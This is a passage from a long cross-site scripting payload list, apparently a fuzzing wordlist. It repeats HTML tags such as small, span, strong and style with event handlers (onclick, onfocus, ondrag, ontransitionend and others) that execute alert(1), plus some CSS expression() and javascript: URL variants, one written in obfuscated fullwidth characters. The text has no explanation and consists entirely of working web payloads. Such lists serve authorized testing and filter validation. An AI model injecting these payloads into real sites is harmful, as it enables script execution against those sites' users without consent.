id=x tabindex=1 onbeforedeactivate=alert(1)></small><input autofocus> <small id=x tabindex=1 ondeactivate=alert(1)></small><input id=y autofocus> <small id=x tabindex=1 onfocus=alert(1)></small> <small id=x tabindex=1 onfocusin=alert(1)></small> <small onbeforecopy="alert(1)" contenteditable>test</small> <small onbeforecut="alert(1)" contenteditable>test</small> <small onbeforepaste="alert(1)" contenteditable>test</small> <small onblur=alert(1) tabindex=1 id=x></small><input autofocus> <small onclick="alert(1)">test</small> <small oncontextmenu="alert(1)">test</small> <small oncopy="alert(1)" contenteditable>test</small> <small oncut="alert(1)" contenteditable>test</small> <small ondblclick="alert(1)">test</small> <small onfocusout=alert(1) tabindex=1 id=x></small><input autofocus> <small onkeydown="alert(1)" contenteditable>test</small> <small onkeypress="alert(1)" contenteditable>test</small> <small onkeyup="alert(1)" contenteditable>test</small> <small onmousedown="alert(1)">test</small> <small onmouseenter="alert(1)">test</small> <small onmouseleave="alert(1)">test</small> <small onmousemove="alert(1)">test</small> <small onmouseout="alert(1)">test</small> <small onmouseover="alert(1)">test</small> <small onmouseup="alert(1)">test</small> <small onpaste="alert(1)" contenteditable>test</small> <s onbeforecopy="alert(1)" contenteditable>test</s> <s onbeforecut="alert(1)" contenteditable>test</s> <s onbeforepaste="alert(1)" contenteditable>test</s> <s onblur=alert(1) tabindex=1 id=x></s><input autofocus> <s onclick="alert(1)">test</s> <s oncontextmenu="alert(1)">test</s> <s oncopy="alert(1)" contenteditable>test</s> <s oncut="alert(1)" contenteditable>test</s> <s ondblclick="alert(1)">test</s> <s onfocusout=alert(1) tabindex=1 id=x></s><input autofocus> <s onkeydown="alert(1)" contenteditable>test</s> <s onkeypress="alert(1)" contenteditable>test</s> <s onkeyup="alert(1)" contenteditable>test</s> <s onmousedown="alert(1)">test</s> <s onmouseenter="alert(1)">test</s> <s onmouseleave="alert(1)">test</s> <s onmousemove="alert(1)">test</s> <s onmouseout="alert(1)">test</s> <s onmouseover="alert(1)">test</s> <s onmouseup="alert(1)">test</s> <s onpaste="alert(1)" contenteditable>test</s> <source draggable="true" ondrag="alert(1)">test</source> <source draggable="true" ondragend="alert(1)">test</source> <source draggable="true" ondragenter="alert(1)">test</source> <source draggable="true" ondragleave="alert(1)">test</source> <source draggable="true" ondragstart="alert(1)">test</source> <source id=x tabindex=1 onactivate=alert(1)></source> <source id=x tabindex=1 onbeforeactivate=alert(1)></source> <source id=x tabindex=1 onbeforedeactivate=alert(1)></source><input autofocus> <source id=x tabindex=1 ondeactivate=alert(1)></source><input id=y autofocus> <source id=x tabindex=1 onfocus=alert(1)></source> <source id=x tabindex=1 onfocusin=alert(1)></source> <source onbeforecopy="alert(1)" contenteditable>test</source> <source onbeforecut="alert(1)" contenteditable>test</source> <source onbeforepaste="alert(1)" contenteditable>test</source> <source onblur=alert(1) tabindex=1 id=x></source><input autofocus> <source onclick="alert(1)">test</source> <source oncontextmenu="alert(1)">test</source> <source oncopy="alert(1)" contenteditable>test</source> <source oncut="alert(1)" contenteditable>test</source> <source ondblclick="alert(1)">test</source> <source onfocusout=alert(1) tabindex=1 id=x></source><input autofocus> <source onkeydown="alert(1)" contenteditable>test</source> <source onkeypress="alert(1)" contenteditable>test</source> <source onkeyup="alert(1)" contenteditable>test</source> <source onmousedown="alert(1)">test</source> <source onmouseenter="alert(1)">test</source> <source onmouseleave="alert(1)">test</source> <source onmousemove="alert(1)">test</source> <source onmouseout="alert(1)">test</source> <source onmouseover="alert(1)">test</source> <source onmouseup="alert(1)">test</source> <source onpaste="alert(1)" contenteditable>test</source> <spacer draggable="true" ondrag="alert(1)">test</spacer> <spacer draggable="true" ondragend="alert(1)">test</spacer> <spacer draggable="true" ondragenter="alert(1)">test</spacer> <spacer draggable="true" ondragleave="alert(1)">test</spacer> <spacer draggable="true" ondragstart="alert(1)">test</spacer> <spacer id=x tabindex=1 onactivate=alert(1)></spacer> <spacer id=x tabindex=1 onbeforeactivate=alert(1)></spacer> <spacer id=x tabindex=1 onbeforedeactivate=alert(1)></spacer><input autofocus> <spacer id=x tabindex=1 ondeactivate=alert(1)></spacer><input id=y autofocus> <spacer id=x tabindex=1 onfocus=alert(1)></spacer> <spacer id=x tabindex=1 onfocusin=alert(1)></spacer> <spacer onbeforecopy="alert(1)" contenteditable>test</spacer> <spacer onbeforecut="alert(1)" contenteditable>test</spacer> <spacer onbeforepaste="alert(1)" contenteditable>test</spacer> <spacer onblur=alert(1) tabindex=1 id=x></spacer><input autofocus> <spacer onclick="alert(1)">test</spacer> <spacer oncontextmenu="alert(1)">test</spacer> <spacer oncopy="alert(1)" contenteditable>test</spacer> <spacer oncut="alert(1)" contenteditable>test</spacer> <spacer ondblclick="alert(1)">test</spacer> <spacer onfocusout=alert(1) tabindex=1 id=x></spacer><input autofocus> <spacer onkeydown="alert(1)" contenteditable>test</spacer> <spacer onkeypress="alert(1)" contenteditable>test</spacer> <spacer onkeyup="alert(1)" contenteditable>test</spacer> <spacer onmousedown="alert(1)">test</spacer> <spacer onmouseenter="alert(1)">test</spacer> <spacer onmouseleave="alert(1)">test</spacer> <spacer onmousemove="alert(1)">test</spacer> <spacer onmouseout="alert(1)">test</spacer> <spacer onmouseover="alert(1)">test</spacer> <spacer onmouseup="alert(1)">test</spacer> <spacer onpaste="alert(1)" contenteditable>test</spacer> <span draggable="true" ondrag="alert(1)">test</span> <span draggable="true" ondragend="alert(1)">test</span> <span draggable="true" ondragenter="alert(1)">test</span> <span draggable="true" ondragleave="alert(1)">test</span> <span draggable="true" ondragstart="alert(1)">test</span> <span id=x tabindex=1 onactivate=alert(1)></span> <span id=x tabindex=1 onbeforeactivate=alert(1)></span> <span id=x tabindex=1 onbeforedeactivate=alert(1)></span><input autofocus> <span id=x tabindex=1 ondeactivate=alert(1)></span><input id=y autofocus> <span id=x tabindex=1 onfocus=alert(1)></span> <span id=x tabindex=1 onfocusin=alert(1)></span> <span onbeforecopy="alert(1)" contenteditable>test</span> <span onbeforecut="alert(1)" contenteditable>test</span> <span onbeforepaste="alert(1)" contenteditable>test</span> <span onblur=alert(1) tabindex=1 id=x></span><input autofocus> <span onclick="alert(1)">test</span> <span oncontextmenu="alert(1)">test</span> <span oncopy="alert(1)" contenteditable>test</span> <span oncut="alert(1)" contenteditable>test</span> <span ondblclick="alert(1)">test</span> <span onfocusout=alert(1) tabindex=1 id=x></span><input autofocus> <span onkeydown="alert(1)" contenteditable>test</span> <span onkeypress="alert(1)" contenteditable>test</span> <span onkeyup="alert(1)" contenteditable>test</span> <span onmousedown="alert(1)">test</span> <span onmouseenter="alert(1)">test</span> <span onmouseleave="alert(1)">test</span> <span onmousemove="alert(1)">test</span> <span onmouseout="alert(1)">test</span> <span onmouseover="alert(1)">test</span> <span onmouseup="alert(1)">test</span> <span onpaste="alert(1)" contenteditable>test</span> <strike draggable="true" ondrag="alert(1)">test</strike> <strike draggable="true" ondragend="alert(1)">test</strike> <strike draggable="true" ondragenter="alert(1)">test</strike> <strike draggable="true" ondragleave="alert(1)">test</strike> <strike draggable="true" ondragstart="alert(1)">test</strike> <strike id=x tabindex=1 onactivate=alert(1)></strike> <strike id=x tabindex=1 onbeforeactivate=alert(1)></strike> <strike id=x tabindex=1 onbeforedeactivate=alert(1)></strike><input autofocus> <strike id=x tabindex=1 ondeactivate=alert(1)></strike><input id=y autofocus> <strike id=x tabindex=1 onfocus=alert(1)></strike> <strike id=x tabindex=1 onfocusin=alert(1)></strike> <strike onbeforecopy="alert(1)" contenteditable>test</strike> <strike onbeforecut="alert(1)" contenteditable>test</strike> <strike onbeforepaste="alert(1)" contenteditable>test</strike> <strike onblur=alert(1) tabindex=1 id=x></strike><input autofocus> <strike onclick="alert(1)">test</strike> <strike oncontextmenu="alert(1)">test</strike> <strike oncopy="alert(1)" contenteditable>test</strike> <strike oncut="alert(1)" contenteditable>test</strike> <strike ondblclick="alert(1)">test</strike> <strike onfocusout=alert(1) tabindex=1 id=x></strike><input autofocus> <strike onkeydown="alert(1)" contenteditable>test</strike> <strike onkeypress="alert(1)" contenteditable>test</strike> <strike onkeyup="alert(1)" contenteditable>test</strike> <strike onmousedown="alert(1)">test</strike> <strike onmouseenter="alert(1)">test</strike> <strike onmouseleave="alert(1)">test</strike> <strike onmousemove="alert(1)">test</strike> <strike onmouseout="alert(1)">test</strike> <strike onmouseover="alert(1)">test</strike> <strike onmouseup="alert(1)">test</strike> <strike onpaste="alert(1)" contenteditable>test</strike> <strong draggable="true" ondrag="alert(1)">test</strong> <strong draggable="true" ondragend="alert(1)">test</strong> <strong draggable="true" ondragenter="alert(1)">test</strong> <strong draggable="true" ondragleave="alert(1)">test</strong> <strong draggable="true" ondragstart="alert(1)">test</strong> <strong id=x tabindex=1 onactivate=alert(1)></strong> <strong id=x tabindex=1 onbeforeactivate=alert(1)></strong> <strong id=x tabindex=1 onbeforedeactivate=alert(1)></strong><input autofocus> <strong id=x tabindex=1 ondeactivate=alert(1)></strong><input id=y autofocus> <strong id=x tabindex=1 onfocus=alert(1)></strong> <strong id=x tabindex=1 onfocusin=alert(1)></strong> <strong onbeforecopy="alert(1)" contenteditable>test</strong> <strong onbeforecut="alert(1)" contenteditable>test</strong> <strong onbeforepaste="alert(1)" contenteditable>test</strong> <strong onblur=alert(1) tabindex=1 id=x></strong><input autofocus> <strong onclick="alert(1)">test</strong> <strong oncontextmenu="alert(1)">test</strong> <strong oncopy="alert(1)" contenteditable>test</strong> <strong oncut="alert(1)" contenteditable>test</strong> <strong ondblclick="alert(1)">test</strong> <strong onfocusout=alert(1) tabindex=1 id=x></strong><input autofocus> <strong onkeydown="alert(1)" contenteditable>test</strong> <strong onkeypress="alert(1)" contenteditable>test</strong> <strong onkeyup="alert(1)" contenteditable>test</strong> <strong onmousedown="alert(1)">test</strong> <strong onmouseenter="alert(1)">test</strong> <strong onmouseleave="alert(1)">test</strong> <strong onmousemove="alert(1)">test</strong> <strong onmouseout="alert(1)">test</strong> <strong onmouseover="alert(1)">test</strong> <strong onmouseup="alert(1)">test</strong> <strong onpaste="alert(1)" contenteditable>test</strong> <style/onload=<!-- > alert (1)> <style/onload=prompt('XSS') <style> <style>*[{}@import'%(css)s?]</style>X <style>*{x:ｅｘｐｒｅｓｓｉｏｎ(javascript:alert(1))}</style> <style>.XSS{background-image:url("javascript:document.vulnerable=true");}</STYLE><A CLASS=XSS></a> <style>//*{x:expression(alert(/xss/))}//<style></style> <style>:target {color:red;}</style><abbr id=x style="transition:color 1s" ontransitionend=alert(1)></abbr> <style>:target {color: red;}</style><abbr id=x style="transition:color 10s" ontransitioncancel=alert(1)></abbr> <style>:target {color:red;}</style><acronym id=x style="transition:color 1s" ontransitionend=alert(1)></acronym> <style>:target {color: red;}</style><acronym id=x style="transition:color 10s" ontransitioncancel=alert(1)></acronym> <style>:target {color:red;}</style><address id=x style="transition:color 1s" ontransitionend=alert(1)></address> <style>:target {color: red;}</style><address id=x style="transition:color 10s" ontransitioncancel=alert(1)></address> <style>:target {color:red;}</style><a id=x style="transition:color 1s" ontransitionend=alert(1)></a> <style>:target {color: red;}</style><a id=x style="transition:color 10s" ontransitioncancel=alert(1)></a> <style>:target {color:red;}</style><applet id=x style="transition:color 1s" ontransitionend=alert(1)></applet> <style>:target {color: red;}</style><applet id=x style="transition:color 10s" ontransitioncancel=alert(1)></applet> <style>:target {color:red;}</style><area id=x style="transition:color 1s" ontransitionend=alert(1)></area> <style>:target {color: red;}</style><area id=x style="transition:color 10s" ontransitioncancel=alert(1)></area> <style>:target {color:red;}</style><article id=x style="transition:color 1s" ontransitionend=alert(1)></article> <style>:target {color: red;}</style><article id=x style="transition:color 10s" ontransitioncancel=alert(1)></article> <style>:target {color:red;}</style><aside id=x style="transition:color 1s" ontransitionend=alert(1)></aside> <style>:target {color: red;}</style><aside id=x style="transition:color 10s" ontransitioncancel=alert(1)></aside> <style>:target {color:red;}</style><audio id=x style="transition:color 1s" ontransitionend=alert(1)></audio> <style>:target {color: red;}</style><audio id=x style="transition:color 10s" ontransitioncancel=alert(1)></audio> <style>:target {color:red;}</style><basefont id=x style="transition:color 1s" ontransitionend=alert(1)></basefont> <style>:target {color: red;}</style><basefont id=x style="transition:color 10s" ontransitioncancel=alert(1)></basefont> <style>:target {color:red;}</style><base id=x style="transition:color 1s" ontransitionend=alert(1)></base> <style>:target {color: red;}</style><base id=x style="transition:color 10s" ontransitioncancel=alert(1)></base> <style>:target {color:red;}</style><bdi id=x style="transition:color 1s" ontransitionend=alert(1)></bdi> <style>:target {color: red;}</style><bdi id=x style="transition:color 10s" ontransitioncancel=alert(1)></bdi> <style>:target {color:red;}</style><bdo id=x style="transition:color 1s" ontransitionend=alert(1)></bdo> <style>:target {color: red;}</style><bdo id=x style="transition:color 10s" ontransitioncancel=alert(1)></bdo> <style>:target {color:red;}</style><bgsound id=x style="transition:color 1s" ontransitionend=alert(1)></bgsound> <style>:target {color: red;}</style><bgsound id=x style="transition:color 10s" ontransitioncancel=alert(1)></bgsound> <style>:target {color:red;}</style><b id=x style="transition:color 1s" ontransitionend=alert(1)></b> <style>:target {color: red;}</style><b id=x style="transition:color 10s" ontransitioncancel=alert(1)></b> <style>:target {color:red;}</style><big id=x style="transition:color 1s" ontransitionend=alert(1)></big> <style>:target {color: red;}</style><big id=x style="transition:color 10s" ontransitioncancel=alert(1)></big> <style>:target {color:red;}</style><blink id=x style="transition:color 1s" ontransitionend=alert(1)></blink> <style>:target {color: red;}</style><blink id=x style="transition:color 10s" ontransitioncancel=alert(1)></blink> <style>:target {color:red;}</style><blockquote id=x style="transition:color 1s" ontransitionend=alert(1)></blockquote> <style>:target {color: red;}</style><blockquote id=x style="transition:color 10s" ontransitioncancel=alert(1)></blockquote> <style>:target {color:red;}</style><body id=x style="transition:color 1s" ontransitionend=alert(1)></body> <style>:target {color: red;}</style><body id=x style="transition:color 10s" ontransitioncancel=alert(1)></body> <style>:target {color:red;}</style><br id=x style="transition:color 1s" ontransitionend=alert(1)></br> <style>:target {color: red;}</style><br id=x style="transition:color 10s" ontransitioncancel=alert(1)></br> <style>:target {color:red;}</style><button id=x style="transition:color 1s" ontransitionend=alert(1)></button> <style>:target {color: red;}</style><button id=x style="transition:color 10s" ontransitioncancel=alert(1)></button> <style>:target {color:red;}</style><canvas id=x style="transition:color 1s" ontransitionend=alert(1)></canvas> <style>:target {color: red;}</style><canvas id=x style="transition:color 10s" ontransitioncancel=alert(1)></canvas> <style>:target {color:red;}</style><caption id=x style="transition:color 1s" ontransitionend=alert(1)></caption> <style>:target {color: red;}</style><caption id=x style="transition:color 10s" ontransitioncancel=alert(1)></caption> <style>:target {color:red;}</style><center id=x style="transition:color 1s" ontransitionend=alert(1)></center> <style>:target {color: red;}</style><center id=x style="transition:color 10s" ontransitioncancel=alert(1)></center> <style>:target {color:red;}</style><cite id=x style="transition:color 1s" ontransitionend=alert(1)></cite> <style>:target {color: red;}</style><cite id=x style="transition:color 10s" ontransitioncancel=alert(1)></cite> <style>:target {color:red;}</style><code id=x style="transition:color 1s" ontransitionend=alert(1)></code> <style>:target {color: red;}</style><code id=x style="transition:color 10s" ontransitioncancel=alert(1)></code> <style>:target {color:red;}</style><colgroup id=x style="transition:color 1s" ontransitionend=alert(1)></colgroup> <style>:target {color: red;}</style><colgroup id=x style="transition:color 10s" ontransitioncancel=alert(1)></colgroup> <style>:target {color:red;}</style><col id=x style="transition:color 1s" ontransitionend=alert(1)></col> <style>:target {color: red;}</style><col id=x style="transition:color 10s" ontransitioncancel=alert(1)></col> <style>:target {color:red;}</style><command id=x style="transition:color 1s" ontransitionend=alert(1)></command> <style>:target {color: red;}</style><command id=x style="transition:color 10s" ontransitioncancel=alert(1)></command> <style>:target {color:red;}</style><content id=x style="transition:color 1s" ontransitionend=alert(1)></content> <style>:target {color: red;}</style><content id=x style="transition:color 10s" ontransitioncancel=alert(1)></content> <style>:target {color:red;}</style><data id=x style="transition:color 1s" ontransitionend=alert(1)></data> <style>:target {color: red;}</style><data id=x style="transition:color 10s" ontransitioncancel=alert(1)></data> <style>:target {color:red;}</style><datalist id=x style="transition:color 1s" ontransitionend=alert(1)></datalist> <style>:target {color: red;}</style><datalist id=x style="transition:color 10s" ontransitioncancel=alert(1)></datalist> <style>:target {color:red;}</style><dd id=x style="transition:color 1s" ontransitionend=alert(1)></dd> <style>:target {color: red;}</style><dd id=x style="transition:color 10s" ontransitioncancel=alert(1)></dd> <style>:target {color:red;}</style><del id=x style="transition:color 1s" ontransitionend=alert(1)></del> <style>:target {color: red;}</style><del id=x style="transition:color 10s" ontransitioncancel=alert(1)></del> <style>:target {color:red;}</style><details id=x style="transition:color 1s" ontransitionend=alert(1)></details> <style>:target {color: red;}</style><details id=x style="transition:color 10s" ontransitioncancel=alert(1)></details> <style>:target {color:red;}</style><dfn id=x style="transition:color 1s" ontransitionend=alert(1)></dfn> <style>:target {color: red;}</style><dfn id=x style="transition:color 10s" ontransitioncancel=alert(1)></dfn> <style>:target {color:red;}</style><dialog id=x style="transition:color 1s" ontransitionend=alert(1)></dialog> <style>:target {color: red;}</style><dialog id=x style="transition:color 10s" ontransitioncancel=alert(1)></dialog> <style>:target {color:red;}</style><dir id=x style="transition:color 1s" ontransitionend=alert(1)></dir> <style>:target {color: red;}</style><dir id=x style="transition:color 10s" ontransitioncancel=alert(1)></dir> <style>:target {color:red;}</style><div id=x style="transition:color 1s" ontransitionend=alert(1)></div> <style>:target {color: red;}</style><div id=x style="transition:color 10s" ontransitioncancel=alert(1)></div> <style>:target {color:red;}</style><dl id=x style="transition:color 1s" ontransitionend=alert(1)></dl> <style>:target {color: red;}</style><dl id=x style="transition:color 10s" ontransitioncancel=alert(1)></dl> <style>:target {color:red;}</style><dt id=x style="transition:color 1s" ontransitionend=alert(1)></dt> <style>:target {color: red;}</style><dt id=x style="transition:color 10s" ontransitioncancel=alert(1)></dt> <style>:target {color:red;}</style><element id=x style="transition:color 1s" ontransitionend=alert(1)></element> <style>:target {color: red;}</style><element id=x style="transition:color 10s" ontransitioncancel=alert(1)></element> <style>:target {color:red;}</style><embed id=x style="transition:color 1s" ontransitionend=alert(1)></embed> <style>:target {color: red;}</style><embed id=x style="transition:color 10s" ontransitioncancel=alert(1)></embed> <style>:target {color:red;}</style><em id=x style="transition:color 1s" ontransitionend=alert(1)></em> <style>:target {color: red;}</style><em id=x style="transition:color 10s" ontransitioncancel=alert(1)></em> <style>:target {color:red;}</style><fieldset id=x style="transition:color 1s" ontransitionend=alert(1)></fieldset> <style>:target {color: red;}</style><fieldset id=x style="transition:color 10s" ontransitioncancel=alert(1)></fieldset> <style>:target {color:red;}</style><figcaption id=x style="transition:color 1s" ontransitionend=alert(1)></figcaption> <style>:target {color: red;}</style><figcaption id=x style="transition:color 10s" ontransitioncancel=alert(1)></figcaption> <style>:target {color:red;}</style><figure id=x style="transition:color 1s" ontransitionend=alert(1)></figure> <style>:target {color: red;}</style><figure id=x style="transition:color 10s" ontransitioncancel=alert(1)></figure> <style>:target {color:red;}</style><font id=x style="transition:color 1s" ontransitionend=alert(1)></font> <style>:target {color: red;}</style><font id=x style="transition:color 10s" ontransitioncancel=alert(1)></font> <style>:target {color:red;}</style><footer id=x style="transition:color 1s" ontransitionend=alert(1)></footer> <style>:target {color: red;}</style><footer id=x style="transition:color 10s" ontransitioncancel=alert(1)></footer> <style>:target {color:red;}</style><form id=x style="transition:color 1s" ontransitionend=alert(1)></form> <style>:target {color: red;}</style><form id=x style="transition:color 10s" ontransitioncancel=alert(1)></form> <style>:target {color:red;}</style><frame id=x style="transition:color 1s" ontransitionend=alert(1)></frame> <style>:target {color: red;}</style><frame id=x style="transition:color 10s" ontransitioncancel=alert(1)></frame> <style>:target {color:red;}</style><frameset id=x style="transition:color 1s" ontransitionend=alert(1)></frameset> <style>:target {color: red;}</style><frameset id=x style="transition:color 10s" ontransitioncancel=alert(1)></frameset> <style>:target {color:red;}</style><h1 id=x style="transition:color 1s" ontransitionend=alert(1)></h1> <style>:target {color: red;}</style><h1 id=x style="transition:color 10s" ontransitioncancel=alert(1)></h1> <style>:target {color:red;}</style><header id=x style="transition:color 1s" ontransitionend=alert(1)></header> <style>:target {color: red;}</style><header id=x style="transition:color 10s" ontransitioncancel=alert(1)></header> <style>:target {color:red;}</style><head id=x style="transition:color 1s" ontransitionend=alert(1)></head> <style>:target {color: red;}</style><head id=x style="transition:color 10s" ontransitioncancel=alert(1)></head> <style>:target {color:red;}</style><hgroup id=x style="transition:color 1s" ontransitionend=alert(1)></hgroup> <style>:target {color: red;}</style><hgroup id=x style="transition:color 10s" ontransitioncancel=alert(1)></hgroup> <style>:target {color:red;}</style><hr id=x style="transition:color 1s" ontransitionend=alert(1)></hr> <style>:target {color: red;}</style><hr id=x style="transition:color 10s" ontransitioncancel=alert(1)></hr> <style>:target {color:red;}</style><html id=x style="transition:color 1s" ontransitionend=alert(1)></html> <style>:target {color: red;}</style><html id=x style="transition:color 10s" ontransitioncancel=alert(1)></html> <style>:target {color:red;}</style><iframe id=x style="transition:color 1s" ontransitionend=alert(1)></iframe> <style>:target {color: red;}</style><iframe id=x style="transition:color 10s" ontransitioncancel=alert(1)></iframe> <style>:target {color:red;}</style><i id=x style="transition:color 1s" ontransitionend=alert(1)></i> <style>:target {color: red;}</style><i id=x style="transition:color 10s" ontransitioncancel=alert(1)></i> <style>:target {color:red;}</style><image id=x style="transition:color 1s" ontransitionend=alert(1)></image> <style>:target {color: red;}</style><image id=x style="transition:color 10s" ontransitioncancel=alert(1)></image> <style>:target {color:red;}</style><img id=x style="transition:color 1s" ontransitionend=alert(1)></img> <style>:target {color: red;}</style><img id=x style="transition:color 10s" ontransitioncancel=alert(1)></img> <style>:target {color:red;}</style><input id=x style="transition:color 1s" ontransitionend=alert(1)></input> <style>:target {color: red;}</style><input id=x style="transition:color 10s" ontransitioncancel=alert(1)></input> <style>:target {color:red;}</style><ins id=x style="transition:color 1s" ontransitionend=alert(1)></ins> <style>:target {color: red;}</style><ins id=x style="transition:color 10s" ontransitioncancel=alert(1)></ins> <style>:target {color:red;}</style><isindex id=x style="transition:color 1s" ontransitionend=alert(1)></isindex> <style>:target {color: red;}</style><isindex id=x style="transition:color 10s" ontransitioncancel=alert(1)></isindex> <style>:target {color:red;}</style><kbd id=x style="transition:color 1s" ontransitionend=alert(1)></kbd> <style>:target {color: red;}</style><kbd id=x style="transition:color 10s" ontransitioncancel=alert(1)></kbd> <style>:target {color:red;}</style><keygen id=x style="transition:color 1s" ontransitionend=alert(1)></keygen> <style>:target {color: red;}</style><keygen id=x style="transition:color 10s" ontransitioncancel=alert(1)></keygen> <style>:target {color:red;}</style><label id=x style="transition:color 1s" ontransitionend=alert(1)></label> <style>:target {color: red;}</style><label id=x style="transition:color 10s" ontransitioncancel=alert(1)></label> <style>:target {color:red;}</style><legend id=x style="transition:color 1s" ontransitionend=alert(1)></legend> <style>:target {color: red;}</style><legend id=x style="transition:color 10s" ontransitioncancel=alert(1)></legend> <style>:target {color:red;}</style><li id=x style="transition:color 1s" ontransitionend=alert(1)></li> <style>:target {color: red;}</style><li id=x style="transition:color 10s" ontransitioncancel=alert(1)></li> <style>:target {color:red;}</style><link id=x style="transition:color 1s" ontransitionend=alert(1)></link> <style>:target {color: red;}</style><link id=x style="transition:color 10s" ontransitioncancel=alert(1)></link> <style>:target {color:red;}</style><listing id=x style="transition:color 1s" ontransitionend=alert(1)></listing> <style>:target {color: red;}</style><listing id=x style="transition:color 10s" ontransitioncancel=alert(1)></listing> <style>:target {color:red;}</style><main id=x style="transition:color 1s" ontransitionend=alert(1)></main> <style>:target {color: red;}</style><main id=x style="transition:color 10s" ontransitioncancel=alert(1)></main> <style>:target {color:red;}</style><map id=x style="transition:color 1s" ontransitionend=alert(1)></map> <style>:target {color: red;}</style><map id=x style="transition:color 10s" ontransitioncancel=alert(1)></map> <style>:target {color:red;}</style><mark id=x style="transition:color 1s" ontransitionend=alert(1)></mark> <style>:target {color: red;}</style><mark id=x style="transition:color 10s" ontransitioncancel=alert(1)></mark> <style>:target {color:red;}</style><marquee id=x style="transition:color 1s" ontransitionend=alert(1)></marquee> <style>:target {color: red;}</style><marquee id=x style="transition:color 10s" ontransitioncancel=alert(1)></marquee> <style>:target {color:red;}</style><menu id=x style="transition:color 1s" ontransitionend=alert(1)></menu> <style>:target {color: red;}</style><menu id=x style="transition:color 10s" ontransitioncancel=alert(1)></menu> <style>:target {color:red;}</style><menuitem id=x style="transition:color 1s" ontransitionend=alert(1)></menuitem> <style>:target {color: red;}</style><menuitem id=x style="transition:color 10s" ontransitioncancel=alert(1)></menuitem> <style>:target {color:red;}</style><meta id=x style="transition:color 1s" ontransitionend=alert(1)></meta> <style>:target {color: red;}</style><meta id=x style="transition:color 10s" ontransitioncancel=alert(1)></meta> <style>:target {color:red;}</style><meter id=x style="transition:color 1s" ontransitionend=alert(1)></meter> <style>:target {color: red;}</style><meter id=x style="transition:color 10s" ontransitioncancel=alert(1)></meter> <style>:target {color:red;}</style><multicol id=x style="transition:color 1s" ontransitionend=alert(1)></multicol> <style>:target {color: red;}</style><multicol id=x style="transition:color 10s" ontransitioncancel=alert(1)></multicol> <style>:target {color:red;}</style><nav id=x style="transition:color 1s" ontransitionend=alert(1)></nav> <style>:target {color: red;}</style><nav id=x style="transition:color 10s" ontransitioncancel=alert(1)></nav> <style>:target {color:red;}</style><nextid id=x style="transition:color 1s" ontransitionend=alert(1)></nextid> <style>:target {color: red;}</style><nextid id=x style="transition:color 10s" ontransitioncancel=alert(1)></nextid> <style>:target {color:red;}</style><nobr id=x style="transition:color 1s" ontransitionend=alert(1)></nobr> <style>:target {color: red;}</style><nobr id=x style="transition:color 10s" ontransitioncancel=alert(1)></nobr> <style>:target {color:red;}</style><noembed id=x style="transition:color 1s" ontransitionend=alert(1)></noembed> <style>:target {color: red;}</style><noembed id=x style="transition:color 10s" ontransitioncancel=alert(1)></noembed> <style>:target {color:red;}</style><noframes id=x style="transition:color 1s" ontransitionend=alert(1)></noframes> <style>:target {color: red;}</style><noframes id=x style="transition:color 10s" ontransitioncancel=alert(1)></noframes> <style>:target {color:red;}</style><noscript id=x style="transition:color 1s" ontransitionend=alert(1)></noscript> <style>:target {color: red;}</style><noscript id=x style="transition:color 10s" ontransitioncancel=alert(1)></noscript> <style>:target {color:red;}</style><object id=x style="transition:color 1s" ontransitionend=alert(1)></object> <style>:target {color: red;}</style><object id=x style="transition:color 10s" ontransitioncancel=alert(1)></object> <style>:target {color:red;}</style><ol id=x style="transition:color 1s" ontransitionend=alert(1)></ol> <style>:target {color: red;}</style><ol id=x style="transition:color 10s" ontransitioncancel=alert(1)></ol> <style>:target {color:red;}</style><optgroup id=x style="transition:color 1s" ontransitionend=alert(1)></optgroup> <style>:target {color: red;}</style><optgroup id=x style="transition:color 10s" ontransitioncancel=alert(1)></optgroup> <style>:target {color:red;}</style><option id=x style="transition:color 1s" ontransitionend=alert(1)></option> <style>:target {color: red;}</style><option id=x style="transition:color 10s" ontransitioncancel=alert(1)></option> <style>:target {color:red;}</style><output id=x style="transition:color 1s" ontransitionend=alert(1)></output> <style>:target {color: red;}</style><output id=x style="transition:color 10s" ontransitioncancel=alert(1)></output> <style>:target {color:red;}</style><param id=x style="transition:color 1s" ontransitionend=alert(1)></param> <style>:target {color: red;}</style><param id=x style="transition:color 10s" ontransitioncancel=alert(1)></param> <style>:target {color:red;}</style><picture id=x style="transition:color 1s" ontransitionend=alert(1)></picture> <style>:target {color: red;}</style><picture id=x style="transition:color 10s" ontransitioncancel=alert(1)></picture> <style>:target {color:red;}</style><p id=x style="transition:color 1s" ontransitionend=alert(1)></p> <style>:target {color: red;}</style><p id=x style="transition:color 10s" ontransitioncancel=alert(1)></p> <style>:target {color:red;}</style><plaintext id=x style="transition:color 1s" ontransitionend=alert(1)></plaintext> <style>:target {color: red;}</style><plaintext id=x style="transition:color 10s" ontransitioncancel=alert(1)></plaintext> <style>:target {color:red;}</style><pre id=x style="transition:color 1s" ontransitionend=alert(1)></pre> <style>:target {color: red;}</style><pre id=x style="transition:color 10s" ontransitioncancel=alert(1)></pre> <style>:target {color:red;}</style><progress id=x style="transition:color 1s" ontransitionend=alert(1)></progress> <style>:target {color: red;}</style><progress id=x style="transition:color 10s" ontransitioncancel=alert(1)></progress> <style>:target {color:red;}</style><q id=x style="transition:color 1s" ontransitionend=alert(1)></q> <style>:target {color: red;}</style><q id=x style="transition:color 10s" ontransitioncancel=alert(1)></q> <style>:target {color:red;}</style><rb id=x style="transition:color 1s" ontransitionend=alert(1)></rb> <style>:target {color: red;}</style><rb id=x style="transition:color 10s" ontransitioncancel=alert(1)></rb> <style>:target {color:red;}</style><rp id=x style="transition:color 1s" ontransitionend=alert(1)></rp> <style>:target {color: red;}</style><rp id=x style="transition:color 10s" ontransitioncancel=alert(1)></rp> <style>:target {color:red;}</style><rtc id=x style="transition:color 1s" ontransitionend=alert(1)></rtc> <style>:target {color: red;}</style><rtc id=x style="transition:color 10s" ontransitioncancel=alert(1)></rtc> <style>:target {color:red;}</style><rt id=x style="transition:color 1s" ontransitionend=alert(1)></rt> <style>:target {color: red;}</style><rt id=x style="transition:color 10s" ontransitioncancel=alert(1)></rt> <style>:target {color:red;}</style><ruby id=x style="transition:color 1s" ontransitionend=alert(1)></ruby> <style>:target {color: red;}</style><ruby id=x style="transition:color 10s" ontransitioncancel=alert(1)></ruby> <style>:target {color:red;}</style><samp id=x style="transition:color 1s" ontransitionend=alert(1)></samp> <style>:target {color: red;}</style><samp id=x style="transition:color 10s" ontransitioncancel=alert(1)></samp> <style>:target {color:red;}</style><script id=x style="transition:color 1s" ontransitionend=alert(1)></script> <style>:target {color: red;}</style><script id=x style="transition:color 10s" 